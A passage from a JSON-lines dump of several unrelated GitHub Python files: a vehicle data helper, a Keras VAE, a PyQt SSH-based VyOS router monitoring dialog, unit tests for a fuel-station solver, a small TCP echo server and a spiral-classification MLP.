json.dump(storedDict, outfile)\n\n\"\"\"Returns the data from data.json as a dictionary\"\"\"\ndef getVehicleDataAsDict():\n with open('data.json', 'r') as infile:\n storedJson = json.load(infile)\n return storedJson\n\n\n\"\"\"Pushes a new vehicle (dict) on the dictionary\"\"\"\ndef updateDictionary(vechicleId, vehicle):\n \n # pull in json and read in dictionary\n storedDict = getVehicleDataAsDict()\n\n # push to dictionary \n storedDict[vechicleId] = vehicle\n\n # write to json file as json\n with open('data.json', 'w') as outfile:\n json.dump(storedDict, outfile)\n\ndef toVehicleInstance(id, vehicleDict):\n vehicle = Vehicle(vehicleDict[\"id\"], vehicleDict[\"make\"], vehicleDict[\"model\"], vehicleDict[\"year\"], vehicleDict[\"odometer\"],eval(vehicleDict[\"location\"]), vehicleDict[\"accessToken\"])\n vehicle.setTeslaAirFilterLifespan(vehicleDict[\"teslaAirFilterLifespan\"])\n vehicle.setBrakePadLifespan(vehicleDict[\"brakePadLifespan\"])\n vehicle.setBatteryLifespan(vehicleDict[\"batteryLifespan\"])\n vehicle.setWindshieldWiperLifespan(vehicleDict[\"windshieldWiperLifespan\"])\n vehicle.textSent = vehicleDict[\"textSent\"]\n return vehicle\n","repo_name":"karmitdandona/SacHacks2018","sub_path":"vehicleInit.py","file_name":"vehicleInit.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"26307526921","text":"import tensorflow as tf\nfrom keras import Model\nfrom keras.losses import binary_crossentropy\nfrom keras.layers import Layer\nfrom keras.metrics import MeanSquaredError, Mean\n\n# Credits:\n# Sampling layer and train_step functions are directly obtained from \n# https://keras.io/examples/generative/vae/\n\n\nclass Sampling(Layer):\n \"\"\"Uses (z_mean, z_log_var) to sample z, the vector encoding\"\"\"\n\n def call(self, inputs):\n z_mean, z_log_var = inputs\n batch = tf.shape(z_mean)[0]\n dim = tf.shape(z_mean)[1]\n epsilon = tf.keras.backend.random_normal(shape=(batch, dim))\n return z_mean + tf.exp(0.5 * z_log_var) * epsilon\n\nclass VAE(Model):\n \"\"\"A VAE wrapper for ae based on VGG16\"\"\"\n def __init__(self, *args, **kwargs):\n super(VAE, self).__init__(*args, **kwargs)\n\n self.total_loss_tracker = Mean(name=\"total_loss\")\n self.reconstruction_loss_tracker = Mean(name=\"reconstruction_loss\")\n self.kl_loss_tracker = Mean(name=\"kl_loss\")\n self.mse_loss_tracker = MeanSquaredError(name=\"mean_squared_error\")\n\n def train_step(self, data):\n x, y = data\n\n with tf.GradientTape() as tape:\n reconstructed, z_mean, z_log_var, _ = self(x, training=True)\n\n reconstruction_loss = tf.reduce_mean(\n tf.reduce_sum(\n binary_crossentropy(tf.expand_dims(y, -1), reconstructed), axis=(1, 2)\n )\n )\n\n kl_loss = -0.5 * (1 + z_log_var - tf.square(z_mean) - tf.exp(z_log_var))\n kl_loss = tf.reduce_mean(tf.reduce_sum(kl_loss, axis=1))\n total_loss = reconstruction_loss + kl_loss\n grads = tape.gradient(total_loss, self.trainable_weights)\n self.optimizer.apply_gradients(zip(grads, self.trainable_weights))\n self.total_loss_tracker.update_state(total_loss)\n self.reconstruction_loss_tracker.update_state(reconstruction_loss)\n self.kl_loss_tracker.update_state(kl_loss)\n self.mse_loss_tracker.update_state(y, reconstructed)\n\n return {\n \"loss\": self.total_loss_tracker.result(),\n \"reconstruction_loss\": self.reconstruction_loss_tracker.result(),\n \"kl_loss\": self.kl_loss_tracker.result(),\n \"mean_squared_error\": self.mse_loss_tracker.result()\n }\n","repo_name":"LinasVidziunas/Unsupervised-lesion-detection-with-multi-view-MRI-and-autoencoders","sub_path":"variational.py","file_name":"variational.py","file_ext":"py","file_size_in_byte":2319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70940239293","text":"\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport sys\nimport vip1\nimport paramiko\nimport time\nimport datetime as d\n\n\nclass XDialog(QDialog, vip1.Ui_Dialog):\n\n def __init__(self):\n QDialog.__init__(self)\n self.setupUi(self)\n self.setup1()\n self.button6clicked()\n self.button5clicked()\n\t\n\n def setup1(self):\n\n global table1\n table1 = self.tableWidget\n global table2\n table2 = self.tableWidget_2\n global table3\n table3 = self.tableWidget_3\n global table5\n table5 = self.tableWidget_5\n global table6\n table6 = self.tableWidget_6\n global table7\n table7 = self.tableWidget_7\n global table8\n table8 = self.tableWidget_8\n global tr1\n tr1 = self.treeWidget\n global tr2\n tr2 = self.treeWidget_2\n global tr3\n tr3 = self.treeWidget_3\n global tr4\n tr4 = self.treeWidget_4\n global tr5\n tr5 = self.treeWidget_5\n global prog\n prog = self.progressBar\n global btn6\n \n label11 = self.label_11\n pixmap = QPixmap(\"back5.jpg\")\n pixmap = pixmap.scaledToHeight(520)\n pixmap = pixmap.scaledToWidth(580)\n label11.setPixmap(pixmap)\n\n label12 = self.label_12\n pixmap2 = QPixmap(\"smu2.jpg\")\n pixmap2 = pixmap2.scaledToHeight(90)\n pixmap2 = pixmap2.scaledToWidth(80)\n label12.setPixmap(pixmap2)\n \n le1 = self.lineEdit \n self.groupBox_2.close()\n\n prog.setValue(0)\n le3 = self.lineEdit_3\n le3.displayText()\n\n #test\n \n def button6clicked(self):\n btn6 = self.pushButton_6\n btn6.clicked.connect(self.btn6click)\n\n def btn6click(self):\n self.Authentication()\n\n\n def button5clicked(self):\n btn5 = self.pushButton_5\n btn5.clicked.connect(self.btn5click)\n\n def btn5click(self):\n QMessageBox.about(self,\"제작팀\",\"지도교수 : 오 선 진 교수님\\n조장: 김 경 일\\n조원: 문 진 영, 이 시 후, 조 건 희\")\n \n \n def Authentication(self):\n\n le1 = self.lineEdit\n le2 = self.lineEdit_2\n le3 = self.lineEdit_3\n lb5 = self.label_5\n prog = self.progressBar\n tb1 = self.textBrowser\n \n #\n\n #userinfo\n tb5 = self.textBrowser_5\n tb6 = self.textBrowser_6\n tb7 = self.textBrowser_7\n tb8 = self.textBrowser_8\n\n #VERSION info\n tb9 = self.textBrowser_9\n tb10 = self.textBrowser_10\n tb11 = self.textBrowser_11\n tb12 = self.textBrowser_12\n\n #cpuinfo\n tb13 = self.textBrowser_13\n tb14 = self.textBrowser_14\n tb15 = self.textBrowser_15\n tb16 = self.textBrowser_16\n \n global client\n client = paramiko.SSHClient()\n client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n \n host = str(le1.text())\n port_num= 22\n user = str(le2.text())\n pw = str(le3.text())\n\n def con():\n try:\n client.connect(hostname=host, port=port_num, username=user, password=pw)\n return True\n except:\n return False\n \n def exec_cmd(cmd) :\n (stdin, stdout, stderr) = client.exec_command(cmd)\n if stderr.read().strip() != \"\" :\n return invoke_shell(cmd)\n return stdout.read().strip()\n \n def invoke_shell(cmd) :\n channel = client.invoke_shell()\n response = channel.recv(9999)\n channel.send(cmd+\"\\n\")\n while not channel.recv_ready():\n time.sleep(3)\n response = channel.recv(9999)\n out = response.decode(\"utf-8\")\n first_enter_index = min(out.find(\"/r\"), out.find(\"\\n\"))\n out = out.replace(\"\\r\\n\", \"\\n\")\n return out.strip()\n\n con1 = con()\n\n if con1 == True :\n\n global route1\n global ospf1\n global ospfarea1\n global memory1\n global user1\n global cpu1\n global version1\n global eth0cmd\n global eth1cmd\n global eth2cmd\n global eth3cmd\n \n route1 = exec_cmd('show ip route')\n ospf1 = exec_cmd('show ip ospf neighbor')\n ospfarea1 = exec_cmd('show ip ospf | no-more')\n memory1 = exec_cmd('show system memory')\n user1 = exec_cmd('show system login user')\n cpu1 = exec_cmd('show hardware cpu')\n version1 = exec_cmd('show version')\n eth0cmd = exec_cmd('show interface ethernet eth0')\n eth1cmd = exec_cmd('show interface ethernet eth1')\n eth2cmd = exec_cmd('show interface ethernet eth2')\n eth3cmd = exec_cmd('show interface ethernet eth3')\n noshutdown1 = exec_cmd('/home/vyos/')\n\n QMessageBox.about(self,\"notice\",\"Login successful\")\n #\n self.groupBox.close()\n self.groupBox_2.show()\n time1 = d.datetime.now()\n lb5.setText(\"Device : {}\\nIP Address: {}\\nroot id: {}\\n\\n\\n\\n{}\".format('vyos',host,user,time1))\n\n #라우팅 테이블\n rownum = route1[188:].count('\\x1b[m\\n')\n table1.setRowCount(rownum)\n RoutingTableList = self.routeseparate(route1)\n cnt1 = 0\n cnt2 = 0\n for i in range(0,rownum):\n if RoutingTableList[i][0] == 'O':\n cnt1 = cnt1 + 1\n table3.setRowCount(cnt1)\n \n for i in range(0,rownum):\n for j in range(0,4):\n table1.setItem(i,j, QTableWidgetItem(self.makeroutelist(RoutingTableList[i])[j]))\n if self.makeroutelist(RoutingTableList[i])[0][0] == 'O':\n for k in range(0,4):\n table3.setItem(cnt2,k, QTableWidgetItem(table1.item(i,k).text()))\n cnt2 += 1\n \n #ospf테이블 \n ospfrownum = ospf1[176:].count('\\x1b[m \\x08')\n table2.setRowCount(ospfrownum)\n ospfTableList = self.ospfTable(ospf1)\n\n for i in range(0,ospfrownum):\n for j in range(0,4):\n table2.setItem(i,j, QTableWidgetItem(self.makeospflist(ospfTableList[i])[j]))\n\n #ospf 에어리어 분류\n oal = self.ospfArealist(ospfarea1)\n tr1.topLevelItem(0).setText(1, oal[0])\n tr1.topLevelItem(0).child(0).child(0).setText(1, oal[1])\n tr1.topLevelItem(0).child(0).child(1).setText(1, oal[2])\n tr1.topLevelItem(0).child(1).setText(1, oal[3])\n tr1.topLevelItem(0).child(2).setText(1, oal[4])\n tr1.topLevelItem(0).child(3).setText(1, oal[5])\n\n #메모리 관리\n mvalue = self.memorylist(memory1)\n prog.setValue(mvalue[1]/mvalue[0]*100)\n\n tb1.setText(\"총 용량(Mb): \"+str(mvalue[0])+\"\\n잔여 용량(Mb): \"\n +str(mvalue[0]-mvalue[1])+\"\\n사용된 용량(Mb): \"+str(mvalue[1]))\n\n #user정보\n us = user1.split()\n tb5.setText(us[16])\n tb6.setText(us[17])\n tb7.setText(us[19])\n tb8.setText(str(time1))\n\n #버전 정보 \n verinfo = self.verlist(version1)\n tb9.setText(verinfo[0])\n tb10.setText(verinfo[1])\n tb11.setText(verinfo[2])\n tb12.setText(verinfo[3])\n\n #cpu정보 \n cpuinfo = self.cpulist(cpu1)\n tb13.setText(cpuinfo[0])\n tb14.setText(cpuinfo[1])\n tb15.setText(cpuinfo[2])\n tb16.setText(cpuinfo[3])\n\n #Interface\n for (ethXcmd,tableX) in [(eth0cmd,table5),(eth1cmd,table6),(eth2cmd,table7),(eth3cmd,table8)]:\n for n in range(0,2):\n for m in range(0,6):\n tableX.setItem(n,m, QTableWidgetItem(self.etherlist(ethXcmd)[m+(6*n)]))\n\n #address\n for (ethXcmd, trX) in [(eth0cmd,tr2),(eth1cmd,tr3),(eth2cmd,tr4),(eth3cmd,tr5)] :\n ad = self.addrlist(ethXcmd)\n trX.topLevelItem(0).child(0).setText(1, ad[0])\n trX.topLevelItem(0).child(1).setText(1, ad[1])\n trX.topLevelItem(1).child(0).setText(1, ad[2])\n trX.topLevelItem(2).child(0).setText(1, ad[3])\n trX.topLevelItem(2).child(1).setText(1, ad[4])\n \n \n \n else :\n QMessageBox.about(self,\"notice\",\"Login failed\")\n\n \n def routeseparate(self,route):\n routex = route[188:]\n x = route[188:].count('\\x1b[m\\n')\n j = 0\n routelist = []\n for i in range(0,x):\n temp = routex.index('\\n',j,-1) + 1\n routelist.append(routex[j:temp])\n j= temp\n return routelist\n\n def makeroutelist(self, route):\n if route[0]=='S':\n protocol = 'Static'\n addr = route[4:route.index('[')-1]\n nexthop = route[route.index('via')+4:route.index(',')]\n nexthopif = route[route.index(',')+2:route.index('\\x1b')]\n\n elif route[0]=='C':\n protocol = 'Direct'\n addr = route[4:route.index('is')-1]\n nexthop = '-'\n nexthopif = route[route.index(',')+2:route.index('\\x1b')]\n\n elif route[0]=='O':\n addr = route[4:route.index('[')-1]\n try:\n nexthop = route[route.index('via')+4:route.index(',')]\n nexthopif = route[route.index(',')+2:route.index('\\x1b')-10]\n protocol = 'OSPF'\n except:\n nexthop = '-'\n nexthopif = route[route.index(',')+2:route.index('\\x1b')-10]\n protocol = 'OSPF(Direct)'\n\n elif route[0]=='B':\n protocol = 'BGP'\n addr = route[4:route.index('[')-1]\n nexthop = route[route.index('via')+4:route.index('(')-1]\n nexthopif = '-'\n \n else :\n protocol='x'\n addr='x'\n nexthop='x'\n nexthopif='x'\n \n \n return [protocol,addr,nexthop,nexthopif]\n\n def ospfTable (self, route):\n routex = route[176:]\n x = routex.count('\\x1b[m \\x08')\n j=0\n routelist = []\n for i in range(0,x):\n temp = routex.index('\\n',j,-1) + 1\n routelist.append(routex[j:temp])\n j= temp\n return routelist\n\n def makeospflist (self, route):\n o = route.split()\n return [o[0],o[3],o[4],o[5]]\n\n def ospfArealist(self,ospfroute):\n area1 = ospfroute[ospfroute.index(\"Area ID\"):]\n ospf_area = area1[9:area1.index('\\n')]\n\n intnum1 = ospfroute[ospfroute.index(\"Number of interfaces in this area\"):]\n ospf_intmumT = intnum1[intnum1.index('Total')+7:intnum1.index(',')]\n ospf_intmumA = intnum1[intnum1.index('Active')+8:intnum1.index('\\n')]\n\n adj1 = ospfroute[ospfroute.index(\"Number of fully adjacent neighbors in this area\"):]\n ospf_adj = adj1[48:adj1.index('\\n')]\n\n if(ospfroute.count('no authentication') == 1):\n ospf_auth = 'N'\n else:\n ospf_auth = 'Y'\n\n lsa1 = ospfroute[ospfroute.index(\"Number of LSA\"):]\n ospf_lsa = lsa1[14:lsa1.index('\\n')]\n \n return [ospf_area,ospf_intmumT,ospf_intmumA,ospf_adj,ospf_auth,ospf_lsa]\n\n def memorylist(self,memorycmd):\n total1 = memorycmd[memorycmd.index(\"Total\"):]\n totalmemory = total1[6:total1.index('\\x1b[m\\n')]\n\n used1 = memorycmd[memorycmd.index(\"Used\"):]\n usedmemory = used1[6:used1.index('\\x1b[m\\n')]\n\n return [int(totalmemory), int(usedmemory)]\n\n def cpulist(self, cpucmd):\n mhz1 = cpucmd[cpucmd.index(\"CPU MHz\"):]\n cpu_mhz = mhz1[23:mhz1.index('\\x1b[m\\n')]\n\n arc1 = cpucmd[cpucmd.index(\"Architecture\"):]\n cpu_arc = arc1[23:arc1.index('\\x1b[m\\n')]\n\n mod1 = cpucmd[cpucmd.index(\"CPU op-mode(s)\"):]\n cpu_mod = mod1[23:mod1.index('\\x1b[m\\n')]\n\n vendor1 = cpucmd[cpucmd.index(\"Vendor ID\"):]\n cpu_vendor = vendor1[23:vendor1.index('\\x1b[m\\n')]\n\n return [cpu_mhz, cpu_arc, cpu_mod, cpu_vendor]\n \n def verlist(self, vercmd):\n ver1 = vercmd[vercmd.index(\"Version\"):]\n ver = ver1[14:ver1.index('\\x1b[m\\n')]\n\n hv1 = vercmd[vercmd.index(\"Hypervisor\"):]\n hv = hv1[14:hv1.index('\\x1b[m\\n')]\n\n hwm1 = vercmd[vercmd.index(\"HW model\"):]\n hwm = hwm1[14:hwm1.index('\\x1b[m\\n')]\n\n boot1 = vercmd[vercmd.index(\"Boot via\"):]\n boot = boot1[14:boot1.index('\\x1b[m\\n')]\n\n return [ver, hv, hwm, boot]\n\n def etherlist(self, ethcmd):\n RX = ethcmd[ethcmd.index('RX'):ethcmd.index('TX')-5]\n TX = ethcmd[ethcmd.index('TX'):]\n RX1 = RX.split()\n TX1 = TX.split()\n def rateform(x,y):\n return str(float(x)/float(y)*100)\n \n return [RX1[7], RX1[8], RX1[9], RX1[10], rateform(RX1[9],RX1[8]), rateform(RX1[10],RX1[8]) ,TX1[7], TX1[8], TX1[9], TX1[10], rateform(TX1[9],TX1[8]), rateform(TX1[10],TX1[8])]\n\n def addrlist(self, ethcmd):\n mac1 = ethcmd[ethcmd.index('link/ether'):ethcmd.index('\\x1b[m\\n inet')]\n try:\n ip41= ethcmd[ethcmd.index('inet '):ethcmd.index('scope global')]\n ip4 = ip41.split()\n except:\n ip4=['None','None','None','None']\n ip61 = ethcmd[ethcmd.index('inet6'):ethcmd.index('scope link')]\n mac = mac1.split()\n ip6 = ip61.split()\n\n return [ ip4[1], ip4[3], ip6[1], mac[1], mac[3] ]\n \n \nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n dlg = XDialog()\n dlg.show()\n app.exec_()\n\n\n\n","repo_name":"kki7823/capston_final_vip","sub_path":"run_vip_final.py","file_name":"run_vip_final.py","file_ext":"py","file_size_in_byte":14077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"28746716575","text":"import unittest\nimport src.data_structures as ds\n\n\nclass TestSolution(unittest.TestCase):\n def test_solution_init(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 10, 0, 0)\n s2 = ds.Station(\"B\", 20, 0, 0)\n sol1 = ds.Solution(c)\n sol1.add_station((s1, 10))\n sol1.add_station((s2, 20))\n\n sol2 = ds.Solution(c, [(s1, 10), (s2, 20)])\n self.assertEqual(sol1.solution, sol2.solution)\n\n def test_solution_value_1(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 10, 0, 0)\n s2 = ds.Station(\"B\", 20, 0, 0)\n solution = ds.Solution(c)\n\n solution.add_station((s1, 10))\n solution.add_station((s2, 20))\n self.assertEqual(solution.solution_value(), 500)\n\n def test_solution_value_2(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 11, 0, 0)\n s2 = ds.Station(\"B\", 22, 0, 0)\n solution = ds.Solution(c)\n\n solution.add_station((s1, 10))\n solution.add_station((s2, 20))\n self.assertEqual(solution.solution_value(), 550)\n\n def test_solution_gt(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 11, 0, 0)\n s2 = ds.Station(\"B\", 22, 0, 0)\n\n solution1 = ds.Solution(c, [(s1, 10), (s2, 20)])\n solution2 = ds.Solution(c, [(s1, 20), (s2, 30)])\n self.assertTrue(solution2 > solution1)\n\n def test_solution_ge(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 10, 0, 0)\n s2 = ds.Station(\"B\", 20, 0, 0)\n\n solution1 = ds.Solution(c)\n solution2 = ds.Solution(c)\n solution1.add_station((s1, 10))\n solution1.add_station((s2, 20))\n solution2.add_station((s1, 10))\n solution2.add_station((s2, 20))\n self.assertTrue(solution2 >= solution1)\n\n def test_solution_lt(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 11, 0, 0)\n s2 = ds.Station(\"B\", 22, 0, 0)\n\n solution1 = ds.Solution(c)\n solution2 = ds.Solution(c)\n solution1.add_station((s1, 10))\n solution1.add_station((s2, 20))\n solution2.add_station((s1, 5))\n solution2.add_station((s2, 5))\n self.assertTrue(solution2 < solution1)\n\n def test_solution_le(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 10, 0, 0)\n s2 = ds.Station(\"B\", 20, 0, 0)\n\n solution1 = ds.Solution(c, [(s1, 10), (s2, 20)])\n solution2 = ds.Solution(c, [(s1, 10), (s2, 20)])\n self.assertTrue(solution2 <= solution1)\n\n def test_solution_len(self):\n c = ds.Car(0, 0, 0, 0)\n s1 = ds.Station(\"A\", 10, 0, 0)\n s2 = ds.Station(\"B\", 20, 0, 0)\n\n solution1 = ds.Solution(c, [(s1, 10), (s2, 20)])\n self.assertEqual(len(solution1), 2)\n\n def test_solution_penalty_function(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s2 = ds.Station(\"B\", 20, 20, 200)\n\n s.add_station((s1, 5))\n s.add_station((s2, 10))\n\n self.assertEqual(s.penalty_function, [22.5, 20])\n\n def test_solution_penalty_function2(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s2 = ds.Station(\"B\", 20, 20, 200)\n\n s.add_station((s1, 5))\n s.add_station((s2, 10))\n\n self.assertEqual(s.get_penalty(), 42.5)\n\n def test_solution_remove(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s2 = ds.Station(\"B\", 20, 20, 200)\n s3 = ds.Station(\"C\", 30, 30, 300)\n\n s.add_station((s1, 5))\n s.add_station((s2, 10))\n s.add_station((s3, 29))\n s.remove_station(1)\n self.assertEqual(len(s), 2)\n\n def test_get_station_position(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s.add_station((s1, 20))\n self.assertEqual(s.get_station_position(0), 100)\n\n def test_get_station(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s.add_station((s1, 20))\n self.assertEqual(s.get_station(0), s1)\n\n def test_get_stations(self):\n c = ds.Car(50, 10, 0, 40)\n s = ds.Solution(c)\n s1 = ds.Station(\"A\", 10, 10, 100)\n s2 = ds.Station(\"Z\", 30, 40, 50)\n s.add_station((s1, 20))\n s.add_station((s2, 300))\n self.assertEqual(s.get_stations(), [s1, s2])\n\n\nclass TestCar(unittest.TestCase):\n def test_move_car_position(self):\n c = ds.Car(50, 10, 0, 40)\n s1 = ds.Station(\"A\", 10, 5, 75)\n s2 = ds.Station(\"B\", 20, 15, 200)\n\n c.move_car(s1)\n c.move_car(s2)\n self.assertEqual(c.curr_position, 200)\n\n def test_move_car_fuel_level(self):\n c = ds.Car(50, 10, 0, 40)\n s1 = ds.Station(\"A\", 10, 10, 80)\n\n c.move_car(s1)\n self.assertEqual(c.curr_fuel_level, 49)\n\n def test_move_car_fuel_level2(self):\n c = ds.Car(50, 15, 0, 40)\n s1 = ds.Station(\"A\", 10, 30, 80)\n\n c.move_car(s1)\n self.assertEqual(c.curr_fuel_level, 45.5)\n\n\nclass TestStation(unittest.TestCase):\n def test_equal(self):\n s1 = ds.Station(\"A\", 30, 30, 40)\n s2 = ds.Station(\"A\", 30, 30, 40)\n self.assertEqual(s1, s2)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"13Dominik/Simulated-annealing","sub_path":"test/test_data_structures.py","file_name":"test_data_structures.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"6642018239","text":"#!/usr/bin/env python3\n\nimport time\nimport socket\n\nfrom pyos import system_call\nfrom pyos import socket_wrapper\nfrom pyos import schedule\n\n\nclass TcpServer(object):\n def __init__(self, host='127.0.0.1', port=4444):\n self.host = host\n self.port = port\n \n def start(self):\n print(\"Server starting on port:\", self.port)\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.bind((self.host, self.port))\n self.sock.listen(5)\n\n sock = socket_wrapper.Socket(self.sock)\n while True:\n client, addr = yield sock.accept()\n yield system_call.NewTask(self.handle_client(client, addr))\n\n @staticmethod\n def handle_client(client, addr):\n print(\"Connection from\", addr)\n\n host, port = addr\n while True:\n data = yield client.recv(65536)\n if not data:\n break\n\n message = '%s [%s:%d]: %s' % (time.strftime(\"%F %H:%M:%S\"), host, port, data.decode('utf-8'))\n yield client.send(data.encode('utf-8'))\n\n client.close()\n\n print(\"Client closed\")\n yield\n\n\ndef main():\n tcpServer = TcpServer()\n sched = schedule.Scheduler()\n sched.new(tcpServer.start())\n sched.mainloop()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"raojinlin/pyos","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"29985722568","text":"\"\"\"\nAmaan Rahman\nECE 472: Deep Learning\nAssigment 2: Binary Classification\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\nfrom tqdm import trange\n\n# ---- Global Variables ----\nNUM_SAMPLES = 500\nBATCH_SIZE = 32\nNUM_ITR = 2000\nSEED = 1618\nSIGMA_NOISE = 0.1\nROT_NUM = 2\n\n# class for generating data\nclass Data(object):\n def __init__(self, num_samples, sigma, id, attr):\n\n # spiral attributes\n theta = np.random.uniform(attr[\"min\"], attr[\"max\"], size=(num_samples))\n spiral = self.Spiral(attr[\"center\"], attr[\"gap\"], theta, 1)\n\n # generate data\n factor = 1 if id == 1 else -1\n noise = sigma * np.random.normal(size=(num_samples)) # gaussian noise\n self.x = (\n factor * spiral.r * np.cos(theta) / 1.5 + noise\n ) # arbitrary scaling factor\n self.y = factor * spiral.r * np.sin(theta) + noise\n\n self.spiral = spiral._data((self.x, self.y, [id] * num_samples))\n\n def _init_input(self, data):\n self.data = tf.constant(data[0 : data.shape[0] - 1], dtype=np.float32)\n self.labels = tf.constant(\n data[data.shape[0] - 1], shape=[1, data.shape[1]], dtype=np.float32\n )\n\n def _batchGet(self, batch_size):\n self.index = NUM_SAMPLES * 2\n rand_ind = np.random.choice(self.index, size=batch_size)\n batch_data = tf.squeeze(tf.gather(self.data, rand_ind, axis=1))\n batch_labels = tf.squeeze(tf.gather(self.labels, rand_ind, axis=1))\n\n # normalize data\n return (\n batch_data,\n batch_labels,\n )\n\n # https://en.wikipedia.org/wiki/Archimedean_spiral\n class Spiral(object):\n def __init__(self, a, b, theta, n):\n self.r = a + b * (theta ** (1 / n))\n\n def _data(self, xy_dat):\n self.data = xy_dat\n return self\n\n\nclass MLP(tf.Module):\n def __init__(self, X_features, depth, width_arr):\n self.W = [None] * depth\n self.B = [None] * depth\n for width, k in zip(width_arr, range(1, depth + 1)):\n self.W[k - 1] = tf.Variable(\n 0.2 * tf.random.normal(shape=[X_features, width]),\n name=(\"WEIGHTS_\" + str(k)),\n dtype=np.float32,\n )\n self.B[k - 1] = tf.Variable(\n 0.001 * tf.ones(shape=[width, 1]),\n name=(\"BIAS_\" + str(k)),\n dtype=np.float32,\n )\n\n X_features = width\n\n def __call__(self, X): # output from current layer\n X_k = X\n for W_k, B_k in zip(self.W, self.B):\n func = tf.nn.relu if W_k.shape[1] != 1 else tf.nn.sigmoid\n self.Z = tf.squeeze(func(((tf.transpose(W_k) @ X_k) + B_k)))\n X_k = tf.squeeze(self.Z)\n return self.Z # output is the predicted probabilities for input batch\n\n\ndef train(data, model):\n optimizer = tf.optimizers.Adam()\n bar = trange(NUM_ITR)\n loss_dat = [0] * NUM_ITR\n for i in bar:\n with tf.GradientTape() as tape:\n X, y_true = data._batchGet(BATCH_SIZE)\n y_hat = model(X)\n loss_dat[i] = tf.losses.binary_crossentropy(y_true, y_hat)\n\n grads = tape.gradient(loss_dat[i], model.trainable_variables)\n optimizer.apply_gradients(zip(grads, model.trainable_variables))\n bar.set_description(f\"Loss @ {i} => {loss_dat[i].numpy():0.6f}\")\n bar.refresh()\n\n return loss_dat\n\n\n# https://machinelearningmastery.com/plot-a-decision-surface-for-machine-learning/\ndef decision_surf(data, model):\n min1, max1 = data[0, :].min() - 1, data[0, :].max() + 1\n min2, max2 = data[1, :].min() - 1, data[1, :].max() + 1\n\n x1grid = np.arange(min1, max1, 0.1)\n x2grid = np.arange(min2, max2, 0.1)\n X, Y = np.meshgrid(x1grid, x2grid)\n r1, r2 = X.flatten(), Y.flatten()\n r1, r2 = r1.reshape((1, len(r1))), r2.reshape((1, len(r2)))\n G = np.vstack((r1, r2))\n Z = tf.reshape(model(G), shape=X.shape)\n return (X, Y, Z)\n\n\n# very messy data object setup :/\n# generating 2 seperate data objects\ndef main():\n np.random.seed(SEED)\n # generate 2 Archimidean spirals\n dataset = (\n Data(\n NUM_SAMPLES,\n SIGMA_NOISE,\n 1,\n {\"min\": -ROT_NUM * 2 * np.pi + 0.1, \"max\": -0.1, \"center\": -1, \"gap\": 1},\n ),\n Data(\n NUM_SAMPLES,\n SIGMA_NOISE,\n 0,\n {\"min\": -ROT_NUM * 2 * np.pi + 0.1, \"max\": -0.1, \"center\": -1, \"gap\": 1},\n ),\n )\n\n spiral_A = list(\n zip(\n dataset[0].spiral.data[0],\n dataset[0].spiral.data[1],\n dataset[0].spiral.data[2],\n )\n )\n spiral_B = list(\n zip(\n dataset[1].spiral.data[0],\n dataset[1].spiral.data[1],\n dataset[1].spiral.data[2],\n )\n )\n input_data = np.concatenate((spiral_A, spiral_B), axis=0)\n dataset[0]._init_input(input_data.T)\n mlp_model = MLP(dataset[0].data.shape[0], 8, [100, 75, 50, 25, 50, 75, 100, 1])\n train(dataset[0], mlp_model)\n prob_surf = decision_surf(dataset[0].data.numpy(), mlp_model)\n\n # https://stackoverflow.com/questions/49991227/pandas-matplotlib-plot-a-bar-graph-on-existing-scatter-plot-or-vice-versa\n fig = plt.figure(figsize=(5, 3), dpi=200)\n ax = fig.add_subplot(111)\n ax.contour(*prob_surf, cmap=\"RdPu\", linestyles=\"solid\", levels=1)\n ax.scatter(\n input_data[0:NUM_SAMPLES, 0],\n input_data[0:NUM_SAMPLES, 1],\n c=\"r\",\n edgecolors=\"k\",\n )\n ax.scatter(\n input_data[NUM_SAMPLES:, 0], input_data[NUM_SAMPLES:, 1], c=\"b\", edgecolors=\"k\"\n )\n ax.set_title(\"Spirals Dataset & Classification Boundary\")\n ax.set(xlabel=\"x-values\", ylabel=\"y-values\")\n plt.savefig(\"output1.pdf\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"amaan4152/ECE472-DeepLearning","sub_path":"assign2/bin_class.py","file_name":"bin_class.py","file_ext":"py","file_size_in_byte":5839,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"10010826356","text":"SCREEN_HEIGHT = 